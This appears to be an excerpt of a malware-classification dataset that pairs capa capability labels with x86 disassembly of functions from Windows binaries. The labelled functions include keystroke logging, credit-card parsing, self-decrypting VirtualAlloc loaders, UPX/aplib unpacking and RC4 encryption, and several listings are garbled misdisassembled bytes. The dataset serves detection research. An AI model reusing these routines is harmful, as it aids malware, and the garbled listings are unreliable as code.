joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406f10
Capabilities:
Encode data using xor

Disassembly:
sbb bl, cl
outsb dx, byte [esi]
fisttp qword [ebx]
or esi, ebx
xor edx, dword [edx + 0x5c]
or esi, ebx
xor edx, dword [edx + 0x5c]
sahf
jae 0x406f0c
leave
stosb byte es:[edi], al
jae 0x406ef1
pushal
out dx, eax
nop
pop ss
adc cl, byte [ecx - 0x76]
mov dh, 0xd5
cmpsd dword [esi], dword es:[edi]

Function at 0x407e7e
Capabilities:
Encode data using xor

Disassembly:
pushfd
pop ss
or eax, 0x8108f06e
outsb dx, byte [esi]
lock or byte [ecx + 0xcd1a256], al
pop esi
push eax
popal
pop ecx
xor al, byte [edi]
xchg ebx, eax
ror dword [esp + ebx*4 - 0x763a582a], 0xd2
salc
cmpsd dword [esi], dword es:[edi]
lds ecx, [ecx - 0x2b846b2e]
push esi
mov eax, dword [0xf57e5440]
sbb eax, 0x48529ccf
mov edx, 0x3af175d9
imul esi, dword [eax + 0x4eae764b], 0xd641a7dc
jg 0x407f19
shr dword [edx + 0x6e], cl
int3

Function at 0x413579
Capabilities:
Encode data using xor

Disassembly:
pop ds
cld
mov bh, 0xb7
mov bl, 0xb0
pop esp
mov ebx, dword [ebp - 0x7d610ca8]
cli
sub dh, byte [eax + edx*2 - 0x77]
je 0x413598
mov dword [ebx - 0x58], ebp
mov eax, gs
dec esi
sub al, 0x6b
popfd
xchg edi, eax
arpl word gs:[ebx - 0x1e], sp
lahf
invalid
fimul dword [ebx]
stc
sbb al, 0x20
pop edx
pop ecx
jecxz 0x413537
xlatb
inc eax
dec ecx
jns 0x4135e8
add eax, 0x2c40432a
invalid
push 0x4acf376d
std
jecxz 0x413635
dec edi
adc word [esi - 0x499a25d1], si
mov ebp, 0xd91faf4a
mov ds, ecx
arpl word [0x60957ae2], sp
stosd dword es:[edi], eax
jl 0x41366a
shl dword [ebp + 0x60881eb9], 0xf9
inc edx
push ds
fild qword [ecx]
cmp al, 0xf1
or byte [eax + 0x50], al
xchg ecx, eax
les ebp, [esi]
or al, 0x5c
loop 0x413635
movsb byte es:[edi], byte [esi]
xor dword [ebx - 0x38], edi
mov dl, 0xc3
cld
dec ecx
push ss
invalid
invalid
fistp qword [ecx + 0x2c]
ljmp 0x1001
Function at 0x2049c058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.2049c1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x2049c07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x2049c06a
add dl, dl
jne 0x2049c089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x2049c0dc
xor eax, eax
add dl, dl
jne 0x2049c096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x2049c17d
add dl, dl
jne 0x2049c0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x2049c0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x2049c0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x2049c0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x2049c0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x2049c075
mov eax, 1
add dl, dl
jne 0x2049c0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x2049c0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x2049c0e1
sub eax, ebx
mov ebx, 1
jne 0x2049c128
mov ecx, 1
add dl, dl
jne 0x2049c10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x2049c119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x2049c105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x2049c075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x2049c13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x2049c14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x2049c136
cmp eax, 0x7d00
jae 0x2049c16d
cmp eax, 0x500
jb 0x2049c168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x2049c075
cmp eax, 0x7f
ja 0x2049c170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x2049c075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x2049c19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x2049c075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x4c3fa0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x7b000]
push edi
jmp 0x4c3fba
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4c3fc1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c3fb0
mov eax, 1
add ebx, ebx
jne 0x4c3fd3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4c3fe4
jne 0x4c4003
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c4003
dec eax
add ebx, ebx
jne 0x4c3ff0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4c3fc8
add ebx, ebx
jne 0x4c3fff
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4c4055
xor ecx, ecx
sub eax, 3
jb 0x4c401b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4c408a
sar eax, 1
mov ebp, eax
jmp 0x4c4026
add ebx, ebx
jne 0x4c4026
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c3ff4
inc ecx
add ebx, ebx
jne 0x4c4034
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c3ff4
add ebx, ebx
jne 0x4c4041
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4c4036
jne 0x4c4052
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4c4036
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4c4074
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4c4066
jmp 0x4c3fb6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4c4074
add edi, ecx
jmp 0x4c3fb6
pop esi
mov edi, esi
mov ecx, 0x397f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4c4092
cmp byte [edi], 0x1d
jne 0x4c4092
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4c4097
lea edi, [esi + 0xc0000]
mov eax, dword [edi]
or eax, eax
je 0x4c410f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xd8140]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xd8244]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4c40c4
mov ecx, edi
jns 0x4c40f3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xd8248]
or eax, eax
je 0x4c4109
mov dword [ebx], eax
add ebx, 4
jmp 0x4c40e1
call dword [esi + 0xd8258]
mov ebp, dword [esi + 0xd824c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4c4143
sub esp, 0xffffff80
jmp 0x45b8ef
Function at 0x411b17
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, section.sect_0
call 0x411b17
lcall 0x5de5, 0x8b10c483
jmp loc.008ae304
Function at 0x408151
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x408160
pop dword [ebp - 0x44]
mov eax, 0xb4d90e23
add eax, 0x4b67733d
sub dword [ebp - 0x44], eax
push 0x40
push 0x1000
push 0x412c1
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x44]
call dword [eax]
mov ecx, 0x10282677
sub ecx, 0x1027d0ed
mov ebx, eax
mov edx, 0x58b85577
sub edx, 0x58750177
add edx, dword [ebp - 0x44]
mov edi, 0xeb85b9e0
sub edi, 0x579a1269
mov esi, dword [edx]
sub dword [ebp - 0x1c], 0x1ec99063
sub esi, edi
xor dword [ebp - 0x18], 0xd1d80e65
mov dword [ebx], esi
sub dword [ebp - 0x2c], edx
add ebx, 0x510bdd16
add ebx, 0xaef422ee
add edx, 0x41fcaf62
add edx, 0xbe0350a2
loop 0x4081ba
add eax, 0x148fb
mov ebx, eax
add eax, 0xbab53856
add eax, 0x454ac7af
mov ecx, 0x5fb3585a
sub ecx, 0x5f73585a
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x100137df
Capabilities:
Generate random numbers via winapi

Disassembly:
call fcn.100b0a27
sub byte [eax], al
add byte [eax - 0x64846fe], al
sub esp, dword [ebx + 0x14]
xchg esp, eax
or esi, dword [ebp + 0xd508a03]
sbb eax, 0x6e64b0a0
dec ebx
jae 0x1001385c
dec edi
lds esi, [edx - 0x7b1f398d]
out dx, al
out dx, eax
ljmp 0xfdb3
mov ebp, esp
push esi
xor esi, esi
cmp dword [0x10120740], 1
je 0x10013871
mov esi, 0x8000ffff
jmp 0x10013899
push dword [ebp + 8]
push dword [ebp + 0xc]
push dword [0x10120730]
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
jne 0x100138be
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call fcn.100fef69
mov esi, eax
test esi, esi
jge 0x100138be
mov eax, dword [0x1011faf4]
cmp eax, 0x1011faf4
je 0x100138be
test byte [eax + 0x3c], 2
je 0x100138be
push esi
push 0x100034d8
push 0xa
push dword [eax + 0x34]
push dword [eax + 0x30]
call fcn.100fef69
mov eax, esi
pop esi
pop ebp
ret 8
Function at 0x100fb858
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebx
mov ebx, esp
push ecx
push ecx
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [ebx + 0x1c]
mov dword [ebp - 0x1c], eax
xor eax, eax
push esi
mov esi, dword [ebx + 0x14]
inc eax
xor ecx, ecx
push edi
mov dword [ebp - 8], eax
cmp dword [0x1012ee8c], ecx
je 0x100fb8e8
movd mm0, eax
or eax, 0xffffffff
movd mm3, eax
movq mm1, mm0
cmp esi, ecx
je 0x100fb8de
mov eax, dword [ebx + 8]
mov ecx, dword [ebx + 0x10]
mov edx, dword [ebx + 0xc]
sub ecx, eax
sub edx, eax
mov edi, dword [ecx + eax]
movd mm2, edi
mov edi, dword [eax]
movq mm4, mm3
pxor mm2, mm4
movd mm4, edi
mov edi, dword [edx + eax]
paddq mm0, mm4
movq mm4, mm2
paddq mm0, mm4
psrlq mm0, 0x20
movd mm4, edi
paddq mm1, mm4
add eax, 4
dec esi
paddq mm1, mm2
psrlq mm1, 0x20
jne 0x100fb8aa
por mm0, mm1
movd eax, mm0
emms
jmp 0x100fb958
mov dword [ebp - 4], ecx
mov dword [ebp - 0x10], ecx
cmp esi, ecx
je 0x100fb950
mov eax, dword [ebx + 8]
mov ecx, dword [ebx + 0x10]
mov edx, dword [ebx + 0xc]
sub ecx, eax
sub edx, eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0xc], esi
jmp 0x100fb90d
mov ecx, dword [ebp - 0x14]
mov edx, dword [eax]
mov ecx, dword [ecx + eax]
mov esi, edx
sub esi, ecx
sub esi, dword [ebp - 4]
mov edi, edx
xor esi, edx
xor edi, ecx
or esi, edi
xor esi, edx
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + eax]
shr esi, 0x1f
mov dword [ebp - 4], esi
mov esi, edx
sub esi, ecx
sub esi, dword [ebp - 0x10]
mov edi, edx
xor esi, edx
xor edi, ecx
or esi, edi
xor esi, edx
shr esi, 0x1f
mov ecx, esi
add eax, 4
dec dword [ebp - 0xc]
mov dword [ebp - 0x10], ecx
jne 0x100fb90a
and ecx, dword [ebp - 4]
xor eax, eax
inc eax
sub eax, ecx
test eax, eax
je 0x100fb974
push dword [ebp - 0x1c]
and dword [ebp - 8], 0
push 0
push 7
call fcn.1006412b
add dword cs:[eax], eax
ror byte [eax - 0x74dff1ca], 0x45
clc
mov eax, dword [ebp - 8]
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 0x18

Function at 0x100fef69
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x100fef78
pop dword [ebp - 0x20]
mov eax, 0x7ce881f4
sub eax, 0x6cd8927c
sub dword [ebp - 0x20], eax
push 0x40
push 0x1000
push 0x55cc5
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x20]
call dword [eax]
mov ecx, 0x3e92
mov esi, eax
mov edx, 0xdee6776e
sub edx, 0xced2ff6e
add edx, dword [ebp - 0x20]
mov edi, 0xfc61dfbe
add edi, 0x5b3a6788
xor dword [ebp - 0x14], edx
mov ebx, dword [edx]
mov dword [ebp - 0x18], 0xbe888f82
xor ebx, edi
add dword [ebp - 0x1c], 0x47d128c9
mov dword [esi], ebx
xor dword [ebp - 0x1c], 0x548cc6c3
add esi, 4
add edx, 4
loop 0x100fefcc
add eax, 0xed1b
xor ebx, ebx
add ebx, eax
add eax, 0x48dcc0ea
add eax, 0xb7233f1b
mov ecx, 0x1a66e26f
add ecx, 0xf5991d91
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x41ca5d
Capabilities:
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
cmp dword [ebp + 8], 0x60
jne 0x41ca7a
mov eax, 0x5d4012
jmp 0x41cdb8
cmp dword [ebp + 8], 0x7e
jne 0x41ca8e
mov eax, 0x5d4018
jmp 0x41cdb8
cmp dword [ebp + 8], 0x31
jne 0x41caa2
mov eax, 0x5d401e
jmp 0x41cdb8
cmp dword [ebp + 8], 0x21
jne 0x41cab6
mov eax, 0x5d4023
jmp 0x41cdb8
cmp dword [ebp + 8], 0x32
jne 0x41caca
mov eax, 0x5d4028
jmp 0x41cdb8
cmp dword [ebp + 8], 0x40
jne 0x41cade
mov eax, 0x5d402d
jmp 0x41cdb8
cmp dword [ebp + 8], 0x33
jne 0x41caf2
mov eax, 0x5d4032
jmp 0x41cdb8
cmp dword [ebp + 8], 0x23
jne 0x41cb06
mov eax, 0x5d4037
jmp 0x41cdb8
cmp dword [ebp + 8], 0x34
jne 0x41cb1a
mov eax, 0x5d403c
jmp 0x41cdb8
cmp dword [ebp + 8], 0x24
jne 0x41cb2e
mov eax, 0x5d4041
jmp 0x41cdb8
cmp dword [ebp + 8], 0x35
jne 0x41cb42
mov eax, 0x5d4046
jmp 0x41cdb8
cmp dword [ebp + 8], 0x25
jne 0x41cb56
mov eax, 0x5d404b
jmp 0x41cdb8
cmp dword [ebp + 8], 0x36
jne 0x41cb6a
mov eax, 0x5d4050
jmp 0x41cdb8
cmp dword [ebp + 8], 0x5e
jne 0x41cb7e
mov eax, 0x5d4055
jmp 0x41cdb8
cmp dword [ebp + 8], 0x37
jne 0x41cb92
mov eax, 0x5d405a
jmp 0x41cdb8
cmp dword [ebp + 8], 0x26
jne 0x41cba6
mov eax, 0x5d405f
jmp 0x41cdb8
cmp dword [ebp + 8], 0x38
jne 0x41cbba
mov eax, 0x5d4064
jmp 0x41cdb8
cmp dword [ebp + 8], 0x2a
jne 0x41cbce
mov eax, 0x5d4069
jmp 0x41cdb8
cmp dword [ebp + 8], 0x39
jne 0x41cbe2
mov eax, 0x5d406e
jmp 0x41cdb8
cmp dword [ebp + 8], 0x28
jne 0x41cbf6
mov eax, 0x5d4073
jmp 0x41cdb8
cmp dword [ebp + 8], 0x30
jne 0x41cc0a
mov eax, 0x5d4078
jmp 0x41cdb8
cmp dword [ebp + 8], 0x29
jne 0x41cc1e
mov eax, 0x5d407d
jmp 0x41cdb8
cmp dword [ebp + 8], 0x2d
jne 0x41cc32
mov eax, 0x5d4082
jmp 0x41cdb8
cmp dword [ebp + 8], 0x5f
jne 0x41cc46
mov eax, 0x5d4088
jmp 0x41cdb8
cmp dword [ebp + 8], 0x3d
jne 0x41cc5a
mov eax, 0x5d408e
jmp 0x41cdb8
cmp dword [ebp + 8], 0x2b
jne 0x41cc6e
mov eax, 0x5d4094
jmp 0x41cdb8
cmp dword [ebp + 8], 0x5b
jne 0x41cc82
mov eax, 0x5d409a
jmp 0x41cdb8
cmp dword [ebp + 8], 0x7b
jne 0x41cc96
mov eax, 0x5d40a0
jmp 0x41cdb8
cmp dword [ebp + 8], 0x5d
jne 0x41ccaa
mov eax, 0x5d40a6
jmp 0x41cdb8
cmp dword [ebp + 8], 0x7d
jne 0x41ccbe
mov eax, 0x5d40ac
jmp 0x41cdb8
cmp dword [ebp + 8], 0x5c
jne 0x41ccd2
mov eax, 0x5d40b2
jmp 0x41cdb8
cmp dword [ebp + 8], 0x7c
jne 0x41cce6
mov eax, 0x5d40b8
jmp 0x41cdb8
cmp dword [ebp + 8], 0x3b
jne 0x41ccfa
mov eax, 0x5d40be
jmp 0x41cdb8
cmp dword [ebp + 8], 0x3a
jne 0x41cd0e
mov eax, 0x5d40c4
jmp 0x41cdb8
cmp dword [ebp + 8], 0x27
jne 0x41cd22
mov eax, 0x5d40ca
jmp 0x41cdb8
cmp dword [ebp + 8], 0x22
jne 0x41cd36
mov eax, 0x5d40d0
jmp 0x41cdb8
cmp dword [ebp + 8], 0x2c
jne 0x41cd4a
mov eax, 0x5d40d6
jmp 0x41cdb8
cmp dword [ebp + 8], 0x3c
jne 0x41cd5e
mov eax, 0x5d40dc
jmp 0x41cdb8
cmp dword [ebp + 8], 0x2e
jne 0x41cd72
mov eax, 0x5d40e2
jmp 0x41cdb8
cmp dword [ebp + 8], 0x3e
jne 0x41cd86
mov eax, 0x5d40e8
jmp 0x41cdb8
cmp dword [ebp + 8], 0x2f
jne 0x41cd9a
mov eax, 0x5d40ee
jmp 0x41cdb8
cmp dword [ebp + 8], 0x3f
jne 0x41cdae
mov eax, 0x5d40f4
jmp 0x41cdb8
mov eax, 0x4dbdc4
jmp 0x41cdb8
mov esp, ebp
pop ebp
ret 4
Function at 0x4493f0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4d2e0b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004c6ef2
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x449472
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004c48f0
mov eax, dword [eax]
push 0x612d38
push eax
call fcn.004b3964
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004c717d
test bl, bl
je 0x449472
push 0x612d38
lea ecx, [esp + 0xc]
call fcn.004c750d
push 0x612d44
lea ecx, [esp + 0xc]
call fcn.004c750d
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x4494ae
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004c717d
jmp 0x449579
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x449532
lea edx, [esp + 0x7c]
push 0x612d40
push edx
call fcn.004b3964
add esp, 8
test eax, eax
je 0x449532
lea eax, [esp + 0x7c]
push 0x612d3c
push eax
call fcn.004b3964
add esp, 8
test eax, eax
je 0x449532
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4494c2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004c717d
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x449d70
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x449dd2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x449de0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4d2e8b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x624aa0]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x449f18
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x449e46
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004c717d
xor eax, eax
jmp 0x449f8f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004c72ba
push esi
lea ecx, [esp + 0xc]
call fcn.004c7549
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x612d78
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x449f6d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.00449d70
test eax, eax
jne 0x449f6d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.00449d70
test eax, eax
jne 0x449f6d
lea eax, [esp + 0x14]
push 0x612d54
push eax
call fcn.004b4b40
mov esi, eax
add esp, 8
test esi, esi
jne 0x449f4c
lea ecx, [esp + 0x14]
push 0x612d50
push ecx
call fcn.004b4ac0
mov esi, eax
add esp, 8
test esi, esi
jne 0x449f4c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x449f4f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004c726a
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x449e5e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004c717d
xor eax, eax
jmp 0x449f8f
mov byte [esi], 0
push 0x612d4c
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004c717d
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x45e980
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x45e9ee
cmp si, 0x69
ja 0x45e9ee
add esi, 0xffd0
cmp si, 0x11
je 0x45e9be
push 0x11
call edi
test ax, ax
jge 0x45e9be
or esi, 0x2000
cmp si, 0x10
je 0x45e9d3
push 0x10
call edi
test ax, ax
jge 0x45e9d3
or esi, 0x4000
cmp si, 0x12
je 0x45e9e8
push 0x12
call edi
test ax, ax
jge 0x45e9e8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x45e9fb
mov esi, 0xbd
jmp 0x45e9af
cmp si, 0x6e
jne 0x45ea08
mov esi, 0xbe
jmp 0x45e9af
cmp si, 0x6f
jne 0x45e9a9
mov esi, 0xbf
jmp 0x45e9af

Function at 0x4603d0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x635e88]
xor edx, edx
cmp eax, edx
jne 0x4603f6
xor eax, eax
mov byte [eax + 0x635d88], al
inc eax
cmp eax, 0x100
jl 0x4603de
mov dword [0x635e88], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x635d88
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x460487
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x46045a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x460428
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x460500
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x460553
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x46053a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret